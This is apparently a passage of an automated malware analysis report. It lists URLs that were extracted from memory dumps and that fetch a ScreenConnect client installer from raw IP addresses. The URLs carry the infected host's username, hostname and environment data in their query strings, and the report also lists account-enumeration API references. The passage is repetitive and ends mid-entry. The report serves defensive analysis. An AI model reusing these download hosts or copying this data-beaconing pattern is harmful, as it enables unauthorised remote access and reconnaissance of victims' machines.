"http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00003164.00000000.140821.8B7C0000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0" - Source: "00000000-00003164.00000000.140821.8B7C0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=a=c:\users+yogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0numbeme=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00003164.00000000.140821.8B7C0000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0;lc_ctype=c;lc_monetary=c;lc_numeric=c;lc_time=clc_mc_time=c" - Source: "00000000-00003164.00000000.140821.8B7C0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00004504.00000000.140498.F89C0000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0c:\windows\system32\sc.exesc" - Source: "00000000-00004504.00000000.140498.F89C0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\umsiservere_name:" - Source: "00000000-00004504.00000000.140498.F89C0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guest" - Source: "00000000-00004504.00000000.140498.F89C0000.00000004.mdmp") Found URL "http://172.245.244.73:8040temp=c:\users\hapubws\appdata\local\tempuserdomain_roamingprofile=desktop-fvvf82aqn@upubws\aps\appda\;c:\users\hy" - Source: "00000000-00004504.00000000.140498.F89C0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00004504.00000000.140498.F8C80000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0allusersprofile=c:\programdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00004504.00000000.140498.F8C80000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=00000" - Source: "00000000-00004504.00000000.140498.F8C80000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=\cess=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00004504.00000000.140498.F8C80000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0" - Source: "00000000-00004504.00000000.140498.F8C80000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00005336.00000000.141787.EA030000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0c:\windows\system32\netsh.exenetsh" - Source: "00000000-00005336.00000000.141787.EA030000.00000004.mdmp") Found URL "http://172.245.244.73:8040temp=c:\users\hapubws\appdata\local\tempuserdomain_roamingprofile=desktop-fvvf82amp=c:\ual\tempsername=hapuws_majorappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00005336.00000000.141787.EA030000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubws" - Source: "00000000-00005336.00000000.141787.EA030000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00005336.00000000.141787.EA1C0000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0" - Source: "00000000-00005336.00000000.141787.EA1C0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=x\appdata^62" - Source: "00000000-00005336.00000000.141787.EA1C0000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0;lc_ctype=c;lc_monetary=c;lc_numeric=c;lc_time=clc_mc_time=c^6+" - Source: "00000000-00005336.00000000.141787.EA1C0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00005460.00000000.143075.4E430000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0c:\windows\system32\netsh.exenetsh" - Source: "00000000-00005460.00000000.143075.4E430000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0" - Source: "00000000-00005460.00000000.143075.4E430000.00000004.mdmp") Found URL "http://172.245.244.73:8040temp=c:\users\hapubws\appdata\local\tempuserdomain_roamingprofile=desktop-fvvf82arofile=c:\windo" - Source: "00000000-00005460.00000000.143075.4E430000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00005460.00000000.143075.4E640000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0ws\system32\mfc42u.hlpfc42u.ini" - Source: "00000000-00005460.00000000.143075.4E640000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=wreenco5onnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00005460.00000000.143075.4E640000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0" - Source: "00000000-00005460.00000000.143075.4E640000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00005776.00000000.141143.BCCC0000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0c:\windows\system32\netsh.exenetsh" - Source: "00000000-00005776.00000000.141143.BCCC0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0" - Source: "00000000-00005776.00000000.141143.BCCC0000.00000004.mdmp") Found URL "http://172.245.244.73:8040temp=c:\users\hapubws\appdata\local\tempuserdomain_roamingprofile=desktop-fvvf82a\users\hapubsi.@soit3\autoitx26:53.-8040ser$key.>ive=?t=c:d" - Source: "00000000-00006852.00000000.142753.B7D40000.00000004.mdmp") Found URL "http://172.245.244.73:8040" - Source: "00000000-00006852.00000000.142753.B7D40000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00006852.00000000.142753.B7F60000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0:\windows\system32\mfc42u.hlpfc42u.ini" - Source: "00000000-00006852.00000000.142753.B7F60000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=llation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00006852.00000000.142753.B7F60000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0o?wu" - Source: "00000000-00006852.00000000.142753.B7F60000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00007004.00000000.142431.46680000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0c:\windows\system32\netsh.exenetsh" - Source: "00000000-00007004.00000000.142431.46680000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0" - Source: "00000000-00007004.00000000.142431.46680000.00000004.mdmp") Found URL "http://172.245.244.73:8040temp=c:\users\hapubws\appdata\local\tempuserdomain_roamingprofile=desktop-fvvf82ammon" - Source: "00000000-00007004.00000000.142431.46680000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00007004.00000000.142431.46840000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0ws\system32\mfc42u.hlpfc42u.ini" - Source: "00000000-00007004.00000000.142431.46840000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=encoonnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00007004.00000000.142431.46840000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0%khx-khx5khx0" - Source: "00000000-00007004.00000000.142431.46840000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00007248.00000000.141465.CBD60000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0c:\windows\system32\netsh.exenetsh" - Source: "00000000-00007248.00000000.141465.CBD60000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubws" - Source: "00000000-00007248.00000000.141465.CBD60000.00000004.mdmp") Found URL "http://172.245.244.73:8040temp=c:\users\hapubws\appdata\local\tempuserdomain_roamingprofile=desktop-fvvf82ahmen=1w)j]/i2>x;6u&$l)4odacmg" - Source: "00000000-00007248.00000000.141465.CBD60000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00007248.00000000.141465.CBF20000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0" - Source: "00000000-00007248.00000000.141465.CBF20000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=nsersogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0numbeme=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00007248.00000000.141465.CBF20000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0[aldoha" - Source: "00000000-00007248.00000000.141465.CBF20000.00000004.mdmp")44:T4fc,Found reference to API "LookupAccountSidLocalW" (Indicator: "LookupAccountSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "LookupAccountNameLocalW" (Indicator: "LookupAccountName"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "LsaLookupNames2" (Indicator: "LsaLookupNames"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "LsaLookupSids" (Indicator: "LsaLookupSids"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "LsaLookupNames" (Indicator: "LsaLookupNames"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; Source: 